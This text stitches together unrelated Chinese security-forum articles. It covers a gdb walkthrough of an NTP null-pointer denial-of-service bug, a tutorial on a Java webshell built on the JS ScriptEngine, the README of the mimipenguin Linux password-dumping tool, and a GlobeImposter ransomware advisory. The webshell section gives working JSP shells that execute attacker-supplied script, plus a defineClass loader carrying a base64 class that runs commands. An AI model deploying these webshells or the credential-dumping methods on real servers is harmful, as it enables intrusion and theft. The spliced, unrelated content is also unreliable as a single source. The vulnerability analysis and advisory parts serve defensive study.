EAX: 0xb75536c8 --> 0xb769c760 --> 0x20002
EBX: 0x99e6e40 ("e, laddr=[]:Hrags=32, laddr=[]:WOP")
ECX: 0x65 ('e')
EDX: 0x0
ESI: 0x99e6e72 --> 0x0
EDI: 0xbfade550 --> 0x8058ff0 (<finish>: mov eax,DWORD PTR [esp+0x4])
EBP: 0x99e6e3c ("nonce, laddr=[]:Hrags=32, laddr=[]:WOP")
ESP: 0xbfade170 --> 0xbfade1e4 --> 0x0
EIP: 0x805a4b5 (<ctl_getitem+117>: add ebx,0x1)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x805a4af <ctl_getitem+111>: nop
0x805a4b0 <ctl_getitem+112>: cmp cl,0x2c
0x805a4b3 <ctl_getitem+115>: je 0x805a4d8 <ctl_getitem+152>
=> 0x805a4b5 <ctl_getitem+117>: add ebx,0x1
0x805a4b8 <ctl_getitem+120>: cmp ebx,esi
0x805a4ba <ctl_getitem+122>: je 0x805a4d8 <ctl_getitem+152>
0x805a4bc <ctl_getitem+124>: movzx ecx,BYTE PTR [ebx]
0x805a4bf <ctl_getitem+127>: cmp cl,0x3d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
3111 for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
gdb-peda$ next
Program received signal SIGALRM, Alarm clock.
[----------------------------------registers-----------------------------------]
EAX: 0xb75536c8 --> 0xb769c760 --> 0x20002
EBX: 0x99e6e41 (", laddr=[]:Hrags=32, laddr=[]:WOP")
ECX: 0x2c (',')
EDX: 0x0
ESI: 0x99e6e72 --> 0x0
EDI: 0xbfade550 --> 0x8058ff0 (<finish>: mov eax,DWORD PTR [esp+0x4])
EBP: 0x99e6e3c ("nonce, laddr=[]:Hrags=32, laddr=[]:WOP")
ESP: 0xbfade170 --> 0xbfade1e4 --> 0x0
EIP: 0x805a4bf (<ctl_getitem+127>: cmp cl,0x3d)
EFLAGS: 0x297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
Legend: code, data, rodata, value
3112 if (*cp == '=' && tp == NULL)
gdb-peda$ next
Program received signal SIGALRM, Alarm clock.
[----------------------------------registers-----------------------------------]
EAX: 0xb75536c8 --> 0xb769c760 --> 0x20002
EBX: 0x99e6e41 (", laddr=[]:Hrags=32, laddr=[]:WOP")
ECX: 0x2c (',')
EDX: 0x0
ESI: 0x99e6e72 --> 0x0
EDI: 0xbfade550 --> 0x8058ff0 (<finish>: mov eax,DWORD PTR [esp+0x4])
EBP: 0x99e6e3c ("nonce, laddr=[]:Hrags=32, laddr=[]:WOP")
ESP: 0xbfade170 --> 0xbfade1e4 --> 0x0
EIP: 0x805a4b0 (<ctl_getitem+112>: cmp cl,0x2c)
EFLAGS: 0x293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x805a4ab <ctl_getitem+107>: xor edx,edx
0x805a4ad <ctl_getitem+109>: jmp 0x805a4bf <ctl_getitem+127>
0x805a4af <ctl_getitem+111>: nop
=> 0x805a4b0 <ctl_getitem+112>: cmp cl,0x2c
0x805a4b3 <ctl_getitem+115>: je 0x805a4d8 <ctl_getitem+152>
0x805a4b5 <ctl_getitem+117>: add ebx,0x1
0x805a4b8 <ctl_getitem+120>: cmp ebx,esi
0x805a4ba <ctl_getitem+122>: je 0x805a4d8 <ctl_getitem+152>
[------------------------------------stack-------------------------------------]
0000| 0xbfade170 --> 0xbfade1e4 --> 0x0
0004| 0xbfade174 --> 0x80
0008| 0xbfade178 --> 0x99ea4e0 --> 0x0
0012| 0xbfade17c --> 0x99e6e72 --> 0x0
0016| 0xbfade180 --> 0xf
0020| 0xbfade184 --> 0x74 ('t')
0024| 0xbfade188 --> 0xbfade568 --> 0x99e6ddc --> 0x10920002
0028| 0xbfade18c --> 0xbfade310 ("addr.15")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
回头看一下我们之前的数据包，其中nonce块没有赋值，在ctl_getitem中，会对val的值赋值为NULL，如果没有等于号赋值，那么这个值就一直为NULL，这样当执行到返回的时候，val的值为NULL。ntp_control.c第3080行:
static const struct ctl_var *
ctl_getitem(
const struct ctl_var *var_list,
char **data
)
{
//3119行
*data = NULL;
data赋值为0x0后，会对data进行赋值，但是这里由于没有值，所以没有做处理，直接令其为0x0，然后返回。
gdb-peda$ c
Continuing.
Program received signal SIGALRM, Alarm clock.
[-------------------------------------code-------------------------------------]
0x805a670 <ctl_getitem+560>: pop esi
0x805a671 <ctl_getitem+561>: pop edi
0x805a672 <ctl_getitem+562>: pop ebp
=> 0x805a673 <ctl_getitem+563>: ret
Legend: code, data, rodata, value
Breakpoint 8, 0x0805a673 in ctl_getitem (var_list=<optimized out>,
data=data@entry=0xbfade1e4) at ntp_control.c:3195
3195 }
gdb-peda$ x/10x 0x99ea4e0
0x99ea4e0: 0x00000000
随后调用了strcmp做了一个比较，比较的内容就是v的text字段到底属于哪一段，第一个比较的值就是nonce，这里数据包中Data部分的地一小块就是nonce，因此进入nonce处理。
[-------------------------------------code-------------------------------------]
0x805f97e <read_mru_list+894>: sub esp,0x8
0x805f981 <read_mru_list+897>: push edi
0x805f982 <read_mru_list+898>: push eax
=> 0x805f983 <read_mru_list+899>: call 0x804a050 <strcmp@plt>
0x805f988 <read_mru_list+904>: add esp,0x10
0x805f98b <read_mru_list+907>: test eax,eax
0x805f98d <read_mru_list+909>:
jne 0x805f9c0 <read_mru_list+960>
0x805f98f <read_mru_list+911>: mov eax,DWORD PTR [ebp-0x3ac]
Guessed arguments:
arg[0]: 0xbfebcc18 ("nonce")
arg[1]: 0x88c78e8 ("nonce")
而nonce此时没有值，val被赋值为0x0，进入estrdup后，造成了空指针引用。
gdb-peda$ n
Program received signal SIGALRM, Alarm clock.
[-------------------------------------code-------------------------------------]
0x805f9a2 <read_mru_list+930>: add esp,0x10
0x805f9a5 <read_mru_list+933>: sub esp,0xc
0x805f9a8 <read_mru_list+936>: push DWORD PTR [ebp-0x384]
=> 0x805f9ae <read_mru_list+942>: call 0x80948e0 <estrdup_impl>
0x805f9b3 <read_mru_list+947>: add esp,0x10
0x805f9b6 <read_mru_list+950>: mov DWORD PTR [ebp-0x3ac],eax
0x805f9bc <read_mru_list+956>:
jmp 0x805f950 <read_mru_list+848>
0x805f9be <read_mru_list+958>: xchg ax,ax
Guessed arguments:
arg[0]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfebcbc0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x0805f9ae in read_mru_list (rbufp=0x88c4dd8,
restrict_mask=0x0) at ntp_control.c:4041
4041 pnonce = estrdup(val);
gdb-peda$ x/10x $esp
0xbfebcbc0: 0x00000000
**补丁对比**
此漏洞是由于val作为参数传入estrdup_impl函数中，在函数中会调用strlen获取val长度，当val的值为0x0的时候，会由于空指针引用引发拒绝服务漏洞。来看一下在4.2.8p8版本中，ntp_control.c中关于val处理的部分，第4034行：
while (NULL != (v = ctl_getitem(in_parms, &val)) &&
!(EOV & v->flags)) {
int si;
if (!strcmp(nonce_text, v->text)) {
if (NULL != pnonce)
free(pnonce);
pnonce = estrdup(val);
这里没有对val进行判断，导致获取val之后直接传入estrdup中执行，在4.2.8p9，也就是ntp.org中11月更新的最新版中，对这一块处理进行了修复，ntp_control.c中第4048行：
while (NULL != (v = ctl_getitem(in_parms, (void*)&val)) &&
!(EOV & v->flags)) {
int si;
if (NULL == val)
val = nulltxt;
if (!strcmp(nonce_text, v->text)) {
free(pnonce);
pnonce = (*val) ? estrdup(val) : NULL;
可以看到在进入estrdup处理前，先对val本身的值进行了判断，当nonce的值没有未初始化时，会将nonce的值初始化，则将val赋值为nulltxt，关于nulltxt在ntp_control.c开始的位置进行了定义。
static const charnulltxt[1] = { '' };
赋值之后，在pnonce调用estrdup函数的时候对val存放的值进行了判断，如果为NULL，则直接pnonce，这样就不会再将vul空指针传入estrdup中调用strlen导致空指针引用了。 | 社区文章 |
## 前言
一直以来，Java一句话木马都是采用打入字节码defineClass实现的。这种方法的优势是可以完整的打进去一个类，可以几乎实现Java上的所有功能。不足之处就是Payload过于巨大，并且不像脚本语言一样方便修改。并且还存在很多特征，例如继承ClassLoader，反射调用defineClass等。本人在这里提出一种新型Java一句话木马：利用Java中JS引擎实现的一句话木马。
## 基本原理
1. Java没有eval函数，Js有eval函数，可以把字符串当代码解析。
2. Java从1.6开始自带ScriptEngineManager这个类，原生支持调用js，无需安装第三方库。
3. ScriptEngine支持在Js中调用Java的对象。
综上所述，我们可以利用Java调用JS引擎的eval，然后在Payload中反过来调用Java对象，这就是本文提出的新型Java一句话的核心原理。
ScriptEngineManager全名javax.script.ScriptEngineManager，从Java 6开始自带。其中Java
6/7采用的js解析引擎是Rhino，而从java8开始换成了Nashorn。不同解析引擎对同样的代码有一些差别，这点后面有所体现。
如果说原理其实一两句话就可以说清楚，但是难点在于Payload的编写。跨语言调用最大的一个难点就是数据类型以及方法的转换。例如Java中有byte数组，Js中没有怎么办？C++里有指针但是Java里没有这个玩意怎么办？
在实现期间踩了很多的坑，这篇文章跟大家一起掰扯掰扯，希望能给大家提供点帮助。
### 获取脚本引擎
//通过脚本名称获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); //简写为js也可以
//通过文件扩展名获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
//通过MIME类型来获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
### 绑定对象
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
或者通过eval的重载函数，直接把对象通过一个HashMap放进去
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))
### eval
综合上面两步，有很多种写法，例如：
shell.jsp
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
或者直接缩写成一句：
<%
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
%>
以执行命令为例：
POST：mr6=java.lang.Runtime.getRuntime().exec("calc");
即可达到命令执行的效果。
## 基本语法
翻阅文档比较枯燥，这里挑一些用到的说一说。
感兴趣的同学也可以看一下原文档：<https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf>
### 调用Java方法
前面加上全限定类名即可
var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();
### 导入Java类型
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;
//这种写法仅仅支持Nashorn，Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")
### 创建Java类型的数组
// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)
// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)
### 导入Java类
默认情况下，Nashorn 不会导入Java的包。这样主要为了避免类型冲突，比如你写了一个new
String，引擎怎么知道你new的是Java的String还是js的String？所以所有的Java的调用都需要加上全限定类名。但是这样写起来很不方便。
这个时候大聪明Mozilla Rhino 就想了一个办法，整了个扩展文件，里面提供了importClass 跟importPackage
方法，可以导入指定的Java包。
* importClass 导入指定Java的类，现在推荐用Java.type
* importPackage 导入一个Java包，类似import com.yzddmr6.*，现在推荐用JavaImporter
这里需要注意的是，Rhino对该语法的错误处理机制，当被访问的类存在时，Rhino加载该class，而当其不存在时，则把它当成package名称，而并不会报错。
load("nashorn:mozilla_compat.js");
importClass(java.util.HashSet);
var set = new HashSet();
importPackage(java.util);
var list = new ArrayList();
在一些特殊情况下，导入的全局包会影响js中的函数，例如类名冲突。这个时候可以用JavaImporter，并配合with语句，对导入的Java包设定一个使用范围。
// create JavaImporter with specific packages and classes to import
var SwingGui = new JavaImporter(javax.swing,
javax.swing.event,
javax.swing.border,
java.awt.event);
with (SwingGui) {
// 在with里面才可以调用swing里面的类，防止污染
var mybutton = new JButton("test");
var myframe = new JFrame("test");
}
### 方法调用与重载
方法在JavaScript中实际上是对象的一个属性，所以除了使用 . 来调用方法之外，也可以使用[]来调用方法：
var System = Java.type('java.lang.System');
System.out.println('Hello, World'); // Hello, World
System.out['println']('Hello, World'); // Hello, World
Java支持重载（Overload）方法，例如，System.out 的 println
有多个重载版本，如果你想指定特定的重载版本，可以使用[]指定参数类型。例如：
var System = Java.type('java.lang.System');
System.out['println'](3.14); // 3.14
System.out['println(double)'](3.14); // 3.14
System.out['println(int)'](3.14); // 3
## Payload结构设计
详情写在注释里了
//导入基础拓展
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
//导入常见包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer(""); //输出
var cs = "${jspencode}"; //设置字符集编码
var tag_s = "${tag_s}"; //开始符号
var tag_e = "${tag_e}"; //结束符号
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) {
//参数解码
str = str.substr(2);
var bt = Base64DecodeToByte(str);
return new java.lang.String(bt, cs);
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
function asoutput(str) {
//回显加密
return str;
}
function func(z1) {
//eval function
return z1;
}
output.append(func(z1)); //添加功能函数回显
} catch (e) {
output.append("ERROR:// " + e.toString()); //输出错误
}
try {
response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回显
} catch (e) {}
## 语法问题的坑
### 两种语言对象间的相互转换
要注意的是，在遇到Java跟JS可能存在类型冲突的地方，即使导入了包也要加上全限定类名。
在编写payload的时候被坑了很久的一个问题就是，在导入java.lang以后写new
String(bt,cs)没有加全限定类名，导致打印出来的一直是一个字符串地址。
正确的操作是new java.lang.String(bt,cs)。因为在Java和Js中均存在String类，按照优先级，直接new出来的会是Js的对象。
下面附上类型对比表：
JavaScript Value | JavaScript Type | Java Type | Is Scriptable | Is Function
---|---|---|---|---
{a:1, b:['x','y']} | object | org.mozilla.javascript.NativeObject | **+** | -
[1,2,3] | object | org.mozilla.javascript.NativeArray | **+** | -
1 | number | java.lang.Double | - | -
1.2345 | number | java.lang.Double | - | -
NaN | number | java.lang.Double | - | -
Infinity | number | java.lang.Double | - | -
-Infinity | number | java.lang.Double | - | -
true | boolean | java.lang.Boolean | - | -
"test" | string | java.lang.String | - | -
null | object | null | - | -
undefined | undefined | org.mozilla.javascript.Undefined | - | -
function () { } | function | org.mozilla.javascript.gen.c1 | **+** | **+**
/.*/ | object | org.mozilla.javascript.regexp.NativeRegExp | **+** | **+**
### Rhino/Nashorn解析的差异
这也是当时一个坑点，看下面一段代码
var readonlyenv = System.getenv();
var cmdenv = new java.util.HashMap(readonlyenv);
var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
for (var i = 0; i < envs.length; i++) {
var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
if (es.length == 2) {
cmdenv.put(es[0], es[1]);
}
}
var e = [];
var i = 0;
print(cmdenv+'\n');
for (var key in cmdenv) {//关键
print("key: "+key+"\n");
e[i] = key + "=" + cmdenv[key];
i++;
}
其中cmdenv是个HashMap，这段代码在Java 8中Nashorn引擎可以正常解析，var key in
cmdenv的时候把cmdenv的键给输出了
但是在Java 6下运行时，Rhino把他当成了一个js对象，把其属性输出了
所以涉及到这种混合写法就会有异议，不同的引擎有不同的解释。
解决办法使用Java迭代器即可，不掺杂js的写法。
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
//print("\nkey:" + key);
//print("\nval:" + val);
e[i] = key + "=" + val;
i++;
}
### 反射的坑
在Java中，如果涉及到不同版本之间类的包名不一样，我们通常不能直接导入，而要使用反射的写法。
例如base64解码的时候，Java的写法如下
public byte[] Base64DecodeToByte(String str) {
byte[] bt = null;
String version = System.getProperty("java.version");
try {
if (version.compareTo("1.9") >= 0) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
} else {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
}
return bt;
} catch (Exception e) {
return new byte[]{};
}
}
改写成js风格后，发现会有一些奇奇怪怪的BUG。（后来发现反射其实也可以实现，导入Java类型然后再传入反射参数即可，就是比较麻烦）
function test(str) {
var bt = null;
var version = System.getProperty("java.version");
if (version.compareTo("1.9") >= 0) {
var clazz = java.lang.Class.forName("java.util.Base64");
var decoder = clazz.getMethod("getDecoder").invoke(null);
bt = decoder
.getClass()
.getMethod("decode", java.lang.String.class)
.invoke(decoder, str);
} else {
var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
bt = clazz
.getMethod("decodeBuffer", java.lang.String.class)
.invoke(clazz.newInstance(), str);
}
return bt;
}
但是在Js中，我们并不需要这么麻烦。上面提到过如果importPackage了一个不存在的包名，Js引擎会将这个错误给忽略，并且由于Js松散的语言特性，我们仅仅需要正射+异常捕获就可以完成目的。大大减小了payload编写的复杂度。
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
## 保底操作
理论上，我们可以用js引擎的一句话实现所有字节码一句话的功能，退一万步讲，如果有些功能实在不好实现，或者说想套用现有的payload应该怎么办呢。
我们可以用java调用js后，再调用defineClass来实现：
编写一个命令执行的类：calc.java
import java.io.IOException;
public class calc {
public calc(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译之后base64一下
> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA
填入下方payload
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = new Base64().getDecoder().decode(str);
}
return bt;
}
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
define(
"yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
"calc"
)
);
response.getWriter().print(output);
成功弹出计算器
也就是说，新型一句话在特殊情况下，还可以继续兼容原有的字节码一句话，甚至复用原有的Payload。
## 测试
测试环境：Java>=6
同样的列目录Payload，原有的字节码方式数据包长度为7378，而新型JSP一句话仅仅为2481，差不多为原有的三分之一。
列目录
中文测试
虚拟终端
数据库连接
## 最后
基于JS引擎的Java一句话体积更小，变化种类更多，使用起来更灵活。范围为Java
6及以上，基本可以满足需求，但是Payload写起来非常麻烦，也不好调试，算是有利有弊。
提出新型一句话并不是说一定要取代原有的打入字节码的方式，只是在更复杂情况下，可以提供给渗透人员更多的选择。
项目地址：<https://github.com/AntSwordProject/antSword/commit/a6efa86f5959204140d73092b010fe0739208385> | 社区文章 |
# 来源地址：<https://github.com/rasta-mouse/Sherlock>
# mimipenguin
A tool to dump the login password from the current linux desktop user. Adapted
from the idea behind the popular Windows tool mimikatz.
[
## Details
Takes advantage of cleartext credentials in memory by dumping the process and
extracting lines that have a high probability of containing cleartext
passwords. Will attempt to calculate each word's probability by checking
hashes in /etc/shadow, hashes in memory, and regex searches.
## Requires
* root permissions
## Supported/Tested
* Kali 4.3.0 (rolling) x64 (gdm3)
* Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
* Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
* XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
* VSFTPd 3.0.3-8+b1 (Active FTP client connections)
* Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
* openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
## Notes
* Password moves in memory - still honing in on 100% effectiveness
* Plan on expanding support and other credential locations
* Working on expanding to non-desktop environments
* Known bug - sometimes gcore hangs the script, this is a problem with gcore
* Open to pull requests and community research
* LDAP research (nscld winbind etc) planned for future
## Contact
* Twitter: [@huntergregal](https://twitter.com/HunterGregal)
* Website: [huntergregal.com](http://huntergregal.com/)
* Github: [huntergregal](https://github.com/huntergregal)
## Licence
CC BY 4.0 licence - <https://creativecommons.org/licenses/by/4.0/>
## Special Thanks
* gentilkiki for Mimikatz, the inspiration and the twitter shoutout
* pugilist for cleaning up PID extraction and testing
* ianmiell for cleaning up some of my messy code
* w0rm for identifying printf error when special chars are involved
* benichmt1 for identifying multiple authenticate users issue
* ChaitanyaHaritash for identifying special char edge case issues | 社区文章 |
# GlobeImposter勒索攻击安全预警通告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 第1章 安全通告
尊敬的客户：
近日，国内某机构遭受
GlobeImposter勒索病毒攻击，业务相关的重要文件被加密导致业务受到严重影响。本次攻击与普通勒索事件的首要区别在于攻击者在突破企业防护边界后手工积极进行内网渗透，绕过安全防护，并释放勒索恶意代码，具有极强的破坏性及针对性。
鉴于类似的攻击可能呈现泛滥的趋势，360安全监测与响应中心将持续关注该事件进展，并第一时间为您更新该事件信息。
## 第2章 文档信息
## 第3章 事件信息
### 3.1 事件描述
近日，国内某机构遭受 GlobeImposter勒索病毒攻击，导致业务相关文件被加密，对业务的连续性造成严重影响。360安全监测与响应中心、360
威胁情报中心、360安服团队对此事件进行了紧密跟踪与分析，认为本次事件不同于普通的勒索病毒事件。
普通的勒索病毒事件一般通过邮件、水坑攻击、U盘摆渡等方式进入用户系统，由恶意代码自身的横向移动功能（比如对MS17-010漏洞的利用）在内网继续进行感染攻击。通过对本次勒索攻击事件的分析，我们发现本次攻击相对普通的勒索事件的首要区别在于攻击者在突破企业防护边界后积极进行内网渗透，绕过安全防护，并释放勒索恶意代码，具有极强的破坏性及针对性。
本次事件中，黑客从外网打开突破口后，会以工具辅助手工的方式，对内网其他机器进行渗透。黑客使用的工具主要来自一个压缩包。所使用的工具包括但不限于：
1. 全功能远控木马
2. 自动化添加管理员的脚本
3. 内网共享扫描工具
4. Windows 密码抓取工具
5. 网络嗅探、多协议暴破工具
6. 浏览器密码查看工具
攻击者在打开内网突破口后，会在内网对其他主机进行口令暴破。在内网横向移动至一台新的主机后，会尝试进行包括但不限于以下操作：
1. 手动或用工具卸载主机上安装的防护软件
2. 下载或上传黑客工具包
3. 手动启用远程控制以及勒索病毒
### 3.2 风险等级
**360** **安全监测与响应中心风险评级为：高危**
**预警等级：蓝色预警（一般网络安全预警）**
## 第4章 影响范围
### 4.1 容易受攻击组织影响的机构
本次攻击者主要的突破边界手段可能为Windows远程桌面服务密码暴力破解，在进入内网后会进行多种方法获取登陆凭据并在内网横向传播。综上，符合以下特征的机构将更容易遭到攻击者的侵害：
1. 存在弱口令且Windows远程桌面服务(3389端口)暴露在互联网上的机构。
2. 内网Windows终端、服务器使用相同或者少数几组口令。
3. Windows服务器、终端未部署或未及时更新杀毒软件
## 第5章 处置建议
### 5.1 服务器、终端防护
1. 所有服务器、终端应强行实施复杂密码策略，杜绝弱口令
2. 杜绝使用通用密码管理所有机器
3. 安装杀毒软件、终端安全管理软件并及时更新病毒库
4. 及时安装漏洞补丁
5. 服务器开启关键日志收集功能，为安全事件的追踪溯源提供基础
### 5.2 网络防护与安全监测
1. 对内网安全域进行合理划分。各个安全域之间限制严格的 ACL，限制横向移动的范围。
2. 重要业务系统及核心数据库应当设置独立的安全区域并做好区域边界的安全防御，严格限制重要区域的访问权限并关闭telnet、snmp等不必要、不安全的服务。
3. 在网络内架设 IDS/IPS 设备，及时发现、阻断内网的横向移动行为。
4. 在网络内架设全流量记录设备，以及发现内网的横向移动行为，并为追踪溯源提供良好的基础。
5. 通过ACL禁止IP:54.37.65.160的出站方向访问。
### 5.3 应用系统防护及数据备份
1. 应用系统层面，需要对应用系统进行安全渗透测试与加固，保障应用系统自身安全可控。
2. 对业务系统及数据进行及时备份，并验证备份系统及备份数据的可用性。
3. 建立安全灾备预案，一但核心系统遭受攻击，需要确保备份业务系统可以立即启用；同时，需要做好备份系统与主系统的安全隔离工作，辟免主系统和备份系统同时被攻击，影响业务连续性。
安全防护本身是一个动态的对抗过程，在以上安全加固措施的基础上，日常工作中，还需要加强系统使用过程的管理与网络安全状态的实时监测：
电脑中不使用不明来历的U盘、移动硬盘等存储设备；不接入公共网络，同时机构的内部网络中不运行不明来历的设备接入。
要常态化的开展安全检查和评估，及时发现安全薄弱环节，及时修补安全漏洞和安全管理机制上的不足，时刻保持系统的安全维持在一个相对较高的水平；（类似定期体检）
及时关注并跟进网络安全的技术进步，有条件的单位，可以采取新型的基于大数据的流量的监测设备并配合专业的分析服务，以便做到蠕虫病毒的第一时间发现、第一时间处置、第一时间溯源根除。
## 第6章 技术分析
### 6.1 勒索样本分析
#### 6.1.1 样本初始化
勒索样本在运行后首先判断%LOCALAPPDATA%或%APPDATA%环境变量是否存在，如果存在则将自身复制到%LOCALAPPDATA%或%APPDATA%目录，之后将复制后的路径写入：HKEY_CURRENT_USER\\\Software\\\Microsoft\\\Windows\\\CurrentVersion\\\RunOnce\\\BrowserUpdateCheck
从而实现开机启动
生成RSA私钥并使用硬编码公钥加密，之后将加密后的密文转换为ASCII码，最后将密文写入%ALLUSERSPROFILE% 变量路径中。
